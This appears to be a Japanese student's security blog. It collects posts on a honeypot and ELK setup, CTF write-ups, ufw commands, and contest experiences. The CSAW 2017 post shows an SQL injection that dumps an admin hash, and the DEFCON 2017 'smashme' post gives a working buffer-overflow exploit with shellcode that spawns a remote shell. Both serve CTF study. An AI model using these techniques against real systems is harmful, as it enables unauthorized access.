久しぶりにはにぽ植えた

はじめに

タイトル通り久しぶりにハニーポットを植えてみました。

前回はハニーポットとしてcowrieを使い
分析環境としてSplunkを使い、リアルタイム分析ができる環境でした。

まあこれでもよかったのですが、どうせならもうちょっと拡大したいと思い
新しく環境を作りました。

T-Potでええやんとも思いましたが、VPS上で運用するにはお金もかかるし
家にリソースが余っているパソコンがあったため有効活用しようということで使っていません。

使ったものについて

• Cowrie
• WOWHoneypot
• Suricata

Cowrie

おなじみSSHやTelnetに特化したハニーポット。
以前から使ったことがあったという理由だけでチョイス。

WOWHoneypot

dionaeaとかglastopfとかようわからんし環境作るのが面倒だった。
しかしWOWHoneypotはほんとお手軽。

Suricata

OSSのIPS/IDSはSnortしか知らかなったけど、会社の人にSuricataめっちゃええよということを教えてもらった。
なによりペイロードもログに出力される。
一般的なルールで検知したログととハニーポットのログを突合させて何か見えるといいな。

構成について

ハニポはAWSのLightsailで構築。
logrotateで1日一回s3にログをアップロードするような構成。

自宅PCのELKは
Logstashでs3に取りに行く。
cowrieとSuricataに関してはjsonなのでそのまま設定。
wowhoneypotについてはgrokを使って自分でパース。

Kibanaについて

dashboardはVisualizationから作って
Visualizationはsaved searchからつくるって考えるとどう構成するのがいいのか考え中。
とりあえずは検索できるのでまあよし。

画像とか

suricata

どのシグネチャを有効にするのかを考えなければ

cowrie

よく見るやつ。
password

input command

wowhoneypot

いろいろなところにアクセスしようとしている。

今後

• 分析した結果とかをブログに書いていきたい。
• Suricataのルールの自動更新
• Suricataのルールの選定
• wowhoneypotのフロント改善
• はにぽ自体をいろいろなところに設置
  • Indexの設計しなおし？
• kibanaのダッシュボード作る
• ufwのログも取り込んで統計取りたい

参考リンク等

Cowrie
GitHub - micheloosterhof/cowrie: Cowrie SSH/Telnet Honeypot

WOWHoneypot
GitHub - morihisa/WOWHoneypot: 簡単に構築可能で、シンプルな機能で動作を把握しやすくした、サーバ側低対話型の入門用 Web ハニーポット。

CSAW CTF 2017 Writeup

はじめに

本当に久しぶりにCTFをやりました。最後にやったのはいつだか覚えていません。 解けた問題ですがやるだけ問しか解けなかったのが残念です。。。

解いた問題

• Web200 LittleQuery
• Crypto350 baby_crypt

以上のみとなっております。

Writeup

Web200 LittleQuery

---------------------------------------------
robots.txt

User-agent: *
Disallow: /api

---------------------------------------------
/api/db_explore.php

Must specify mode={schema|preview}

モード指定が必要

---------------------------------------------
/api/db_explore.php?mode=schema

{"dbs":["littlequery"]}

dbとして「littlequery」というものがあることがわかります。  
また、モード指定をすることによってスキーマや内容を見れることは何となく分かるため  
littlequeryのテーブルを確認していきます

---------------------------------------------
/api/db_explore.php?mode=schema&db=littlequery&table=user

{"columns":{"uid":"int(11)","username":"varchar(128)","password":"varchar(40)"}}

littlequeryのスキーマがわかりました。
モードをpreviewにすれば見れるはずです。

---------------------------------------------
/api/db_explore.php?mode=preview&db=littlequery&table=user

Database 'littlequery' is not allowed to be previewed.

みれん

---------------------------------------------
/api/db_explore.php?mode=schema&db=INFORMATION_SCHEMA

{"tables":["CHARACTER_SETS","COLLATIONS","COLLATION_CHARACTER_SET_APPLICABILITY","COLUMNS","COLUMN_PRIVILEGES","ENGINES","EVENTS","FILES","GLOBAL_STATUS","GLOBAL_VARIABLES","KEY_COLUMN_USAGE","OPTIMIZER_TRACE","PARAMETERS","PARTITIONS","PLUGINS","PROCESSLIST","PROFILING","REFERENTIAL_CONSTRAINTS","ROUTINES","SCHEMATA","SCHEMA_PRIVILEGES","SESSION_STATUS","SESSION_VARIABLES","STATISTICS","TABLES","TABLESPACES","TABLE_CONSTRAINTS","TABLE_PRIVILEGES","TRIGGERS","USER_PRIVILEGES","VIEWS","INNODB_LOCKS","INNODB_TRX","INNODB_SYS_DATAFILES","INNODB_FT_CONFIG","INNODB_SYS_VIRTUAL","INNODB_CMP","INNODB_FT_BEING_DELETED","INNODB_CMP_RESET","INNODB_CMP_PER_INDEX","INNODB_CMPMEM_RESET","INNODB_FT_DELETED","INNODB_BUFFER_PAGE_LRU","INNODB_LOCK_WAITS","INNODB_TEMP_TABLE_INFO","INNODB_SYS_INDEXES","INNODB_SYS_TABLES","INNODB_SYS_FIELDS","INNODB_CMP_PER_INDEX_RESET","INNODB_BUFFER_PAGE","INNODB_FT_DEFAULT_STOPWORD","INNODB_FT_INDEX_TABLE","INNODB_FT_INDEX_CACHE","INNODB_SYS_TABLESPACES","INNODB_METRICS","INNODB_SYS_FOREIGN_COLS","INNODB_CMPMEM","INNODB_BUFFER_POOL_STATS","INNODB_SYS_COLUMNS","INNODB_SYS_FOREIGN","INNODB_SYS_TABLESTATS"]}

なんにもない

---------------------------------------------
/api/db_explore.php?mode=preview&db=littlequery`.`user+%23+&table=user

[{"uid":"1","username":"admin","password":"5896e92d38ee883cc09ad6f88df4934f6b074cf8"}]

ログインするだけ

Crypto350 baby_crypt

概要

AES ECBモードを使って暗号化されている模様
選択平文攻撃ってこういう攻撃手法だったんですね。初めてでした。

input + flag 自分の入力のあとにflagがくっつけられて暗号化されるようです。

ECBモードではブロック（16バイト）ごとに暗号化が行われるため
平文がブロック単位で一致していれば、暗号文がおなじになるという性質を利用します。

例）自分の入力値が「32バイトの\0」場合（*は未知のデータ。flag）

上段の２ブロックを自分の入力で占領(?)しています。

実際に問題サーバーに投げてみると

['cdd75f5151595b98fb17bea583e7ac58', 'cdd75f5151595b98fb17bea583e7ac58', 'f9cc1330ae5830732a18d1a23211ffbc', 'e3725519adb9e6f10d658d87c80825ed']

という結果になり、先頭２ブロックの暗号文の値が一致しています。

攻撃方法

自分の入力を少し工夫します。

自分の入力値のバイト数を31バイトにすることによってflagの先頭文字を2ブロック目に調整することが可能です。
この状態であれば15番目の入力値を総当りすることで１ブロック目と2ブロック目が一致する値を見つけることができるはずです。

あとはこれを繰り返す事ができるようにプログラムを組むだけでした。

参考

• https://michael-myers.github.io/blog/post/enigma2017-broken-encryption-writeup/
• [暗号化]ブロック暗号とは(AES/DES/Blowfish PKCS5Padding ECB/CBC IV) - [技術資料 + 技術資料] ぺんたん info

感想

久しぶりで辛かったです。proがすごすぎて何も出来ませんでした。
ありがとうございました。

ufw まとめ

ufwめんどかったから使ったコマンドまとめる

firewallを有効化する

# ufw enable

Firewall is active and enabled on system startup

firewallを無効化する

# ufw disable

設定確認

# ufw status verbose
Status: active
Logging: on (low)
Default: deny (incoming), allow (outgoing), deny (routed)
New profiles: skip

To                         Action      From
--                         ------      ----
80                         ALLOW IN    Anywhere
443                        ALLOW IN    Anywhere
Anywhere                   ALLOW IN    192.168.1.2
80 (v6)                    ALLOW IN    Anywhere (v6)
443 (v6)                   ALLOW IN    Anywhere (v6)

設定追加

ポートで

ufw allow 80

ipで

ufw allow from 192.168.1.2

ポートフォワーディング

１．フォワーディング有効化

# vim /etc/ufw/sysctl.conf
8行目辺り
net/ipv4/ip_forward=1
を有効化

２．ポートフォワーディング

# vim /etc/ufw/before.rules

*nat
:PREROUTING ACCEPT [0:0]
-A PREROUTING -p tcp --dport 2222 -j REDIRECT --to-port 22
-A PREROUTING -p tcp --dport 2223 -j REDIRECT --to-port 23
COMMIT
を先頭行に追加

設定有効化

ufw reload

はい。

はにぽ１

gweerwe323f

defcon 2017 smashme

先輩の教えと、後輩の気付きを横取りして解いた
rdiに入力値のの先頭アドレスがあったからpush rdi; ret;しただけ

import struct, socket, sys, telnetlib
 
def sock(remoteip, remoteport):
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((remoteip, remoteport))
  return s
 
def read_until(f, delim='\n'):
  data = ''
  while not data.endswith(delim):
    data += f.read(1)
  return data
 
def shell(s):
  t = telnetlib.Telnet()
  t.sock = s
  t.interact()

p = lambda x: struct.pack("<L", x)

shellcode = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"

payload  = shellcode
payload += "Smash me outside, how bout d"
payload += "A" * (72 - len(payload))
payload += p(0x42ef4e) #0x0042ef4e: push rdi ; ret  ;  (1 found)


s = sock("smashme_omgbabysfirst.quals.shallweplayaga.me",57348)
s.send(payload + "\n")

shell(s)

三級ファイナンシャル・プランニング技能士になった

せっかく資格試験に受かったので一応記録として残しておこうと思う。
資格はめっちゃ簡単らしいけど、それなりに勉強しないと落ちる。

FPって？

www.u-can.co.jp
ユーキャンのページが分かりやすかった。
要するに保険とか、税金などその名の通りお金に関する資格。
知っといて損はないよね

受けた経緯

去年の年末、バイトで稼いだ金額が103万円超えるとか超えないとかで
どうして超えると面倒なのかとかを調べてたところから始まり。
そこから、社会人になる上で保険とか税金とか知らないとヤバくね？？？
って思ったのが勉強する決心を決めた。

勉強量について

たぶん2週間くらいで受かると思う。
ただ、相続とか贈与とかは現状自分には関係なかったところだったから
イメージが掴めず、大変だった。

感想

この資格を受けて本当に良かったと思う。
今まで知らなかったようなこととか勉強できたし
こういうのって法律で決まってたりするから知らないからというものでもないもの。
これからも継続的に勉強をしていきたいと思う。

あと、合格証書がかっこいい。うれしい。
みなさんも受けてみてはいかがでしょうか。

トラコン最優秀賞とった

せっかく最優秀賞とったので調子乗ってブログにまとめたいと思います。
めっちゃうれしい。 あとこれは個人の感想です。

blog.hnron.net

こちらのブログが 素晴らしかったので真似して書こうと思います
今後トラコンに出る人の参考になれば幸いです

---

お前誰？

情報科学専門学校　情報セキュリティ学科4年
サークルの「IPFactory」に在籍している普通の学生

近い将来、SOCで働くことが決まっているため、
ログ解析とかSIEMとかの技術を勉強してる

---

トラコンについて

トラコンって？

icttoracon.net

今まで第2回大会と第4回大会、今回の第6回大会に出場しました
第2回大会は今でも印象に残っていて1日目は環境構築を行って、2日目はその作った環境に トラブルが起きてそれを直すって感じだった
当時は全く勉強をしていなかったカスだったけど
一緒に出てくれた先輩とかが強くてものすごい勉強になってこのコンテストやべぇなとなっていた

昨今のトラブルシューティングコンテストは学生主体となり、やり方がガラッと変わったので
1日目からがっつりトラブルシューティングを行うことになった。しんどさが倍になった。

勉強をする範囲も膨大なのでトラコン用の勉強をすることはほぼ不可能で
勝つためには日ごろ興味を持ってネットワークやサーバーの構築を行っているかがカギとなる

結果発表の時に運営の人が言っていた「経験が必要」的な言葉は 「ネットワークやサーバーを日ごろからいじってる」って意味なのかなと思う
このコンテストを機にネットワークやサーバーを好きになる人もいるだろうし 学生ならとりあえず一回は出てみよう！ ほんとおススメ！

トラコンの成績表晒し
自分はWCDIチーム pic.twitter.com/o6P7jh6Y4Q

— うーろんちゃ氏 (@hnron) 2016年9月7日

今回の問題はこんな感じでした。

---

IPFactoryの作戦

• メンバーそれぞれの技量に任せる

これだけだった。

ネットワーク3人、サーバー1人、なんでも1人の構成で出場。私はサーバー担当。

ある程度チーム内でこの人は何ができて何ができないかは知っていたため
ネットワークっぽい問題をネットワークチームにぶん投げ。
ネットワークチームはとりあえず問題をみておおよその難易度の検討をつけて 1問2人であーだこーだ言いながらやってたみたい。たぶん。

サーバーチームはWeb寄りの私と、サーバーガチプロのなんでも屋一人で分野ごと分担。
1人1問でずっとやってた。

みんな解きたい問題勝手に解いてって感じで、一応同じ問題解くと効率悪いと思って割り当てだけしてた。
ネットワークチームは1問目と3問目やって私は2問目、きみは4問目。ハイ頑張ってスタイル。

事前に集まって作戦会議とか事前勉強とかは全くしてない（小声）

いや、作戦会議してました。

情報共有はどうしようかとなったときに、slackでいいかとなりました。
configをすぐ張り付けられるし便利そうなため。

ホワイトボードも一応使ったけど、構成図を書いただけであんまり使ってなさそうだった。 席から遠くて書くのも面倒だし、書いている時間がもったいなかった。（サーバー側だったからかも）

ネットワークチームは椅子をルーターの前までもっていってやりやすいようにやってたみたいだし

---

　1日目

チームの一人が深夜バスに乗り遅れて、朝一の新幹線で颯爽と登場
チームみんな予定通り到着。

いざコンテストが始まってみるとサーバーにつなぐための自分のIPアドレスがわからなかったりでWireshark必須だった。

問題自体は自分の分野だったしそこまで苦ではなかった。 sql_modeとか、pam_mountについては初めて知ったし
「めっちゃ便利」とか思ってた。

1日目は普通に自信あったし、1日目終了時でどこのチームも「だめでした、、、」って言ってたので
「勝ったわこれ」と心の中で思ってたのは秘密。

---

2日目

午前中も調子よく問題が解けて良かったけど
午後は完全に意味不明で終わった。

作戦は特に変わらなかったけど、ネットワークチームから1人持ってきて
サーバー問をやってもらってたけど撃沈

どう考えても2日目の午後の問題多いし原因わからんしで、少しだけイライラしてた♡ 3位くらいになれればいいかなと思ってたけど1位になれたのでうれしい

---

感想

ドMが集まるこのコンテストはかなり楽しいし、かなりしんどいけど本当にためになると思うし
ログの大切さだとかネットワーク、サーバーの知識を問われるコンテストはあんまりないのでは？と思う

学校でも若干持ち上げてくれるし、神奈川新聞にも小さな記事で載ることができたし
いい思い出ができた。

私はこれ以降、このコンテストに出るつもりはあまりないです。
なので後輩が出場してもらってぜひ上位をとってきてほしいです。

@MarshMallow_sh めっちゃ出たいです！

— のいじー (@nekotanu0206) 2016年8月28日

がんばって。

---

といた問題

• MySQLのsql_modeのやつ

ELFのバイナリがあってそのバイナリがMySQLに対して問い合わせているよう。
旧環境、新環境の２つがあって新環境に移行したら、いろいろできなくなっちゃったって話みたい。

straceでエラー文確認して、ググって対処して終わり。

• pam_mountのやつ

なんか設定を見るとパスとかがほんと微妙に間違っていたから
動くように直した

• レプリケーションのやつ

これも微妙に設定が違っていたからいろいろなおした